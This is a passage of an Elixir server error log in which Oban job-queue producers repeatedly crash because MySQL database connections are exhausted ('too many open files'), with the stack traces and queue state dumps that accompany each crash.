State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:50:26.239937Z], limit: 5, uuid: "ae467620-b5c7-4962-a331-ac4b768611b5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.239947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237851>, refresh_timer: #Reference<0.2525715032.1077411843.221024>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:50:26.241656Z], limit: 5, uuid: "2d0cee7b-8fe5-4bf2-ab60-3598082370e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.241662Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237848>, refresh_timer: #Reference<0.2525715032.1121189889.96404>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:50:26.241221Z], limit: 50, uuid: "4c33bf22-7649-4e87-a369-05d0a14a2ee2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.241226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237849>, refresh_timer: #Reference<0.2525715032.1121189889.96399>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:50:26.241223Z], limit: 10, uuid: "2c426213-ed07-4123-99f3-58f1faa6827a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:26.241228Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.237847>, refresh_timer: #Reference<0.2525715032.1121189889.96400>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:39.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:39.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:42.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:44.077000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:45.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:50:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:50:38.243130Z], limit: 5, uuid: "b63efcbb-c084-46b2-99bb-eb23d308c9ce", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.243135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.246352>, refresh_timer: #Reference<0.2525715032.1099169794.246348>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:50:38.242586Z], limit: 5, uuid: "e106c25d-2ec2-4ab1-a17c-9ffb2df57cdf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.242595Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238128>, refresh_timer: #Reference<0.2525715032.1068236804.238093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:50:38.242918Z], limit: 3, uuid: "0452baa4-b9d8-42db-b0b5-a39938741446", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.242923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238129>, refresh_timer: #Reference<0.2525715032.1068236804.238108>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:50:38.243151Z], limit: 50, uuid: "68866f7b-90c1-422c-8623-8bf4a0ac53c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.243157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238131>, refresh_timer: #Reference<0.2525715032.1099169794.246350>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:50:38.243740Z], limit: 10, uuid: "9b1c4963-3efc-40e4-8554-d934080bcbcc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:50:38.243745Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238132>, refresh_timer: #Reference<0.2525715032.1077411843.221312>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:50:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
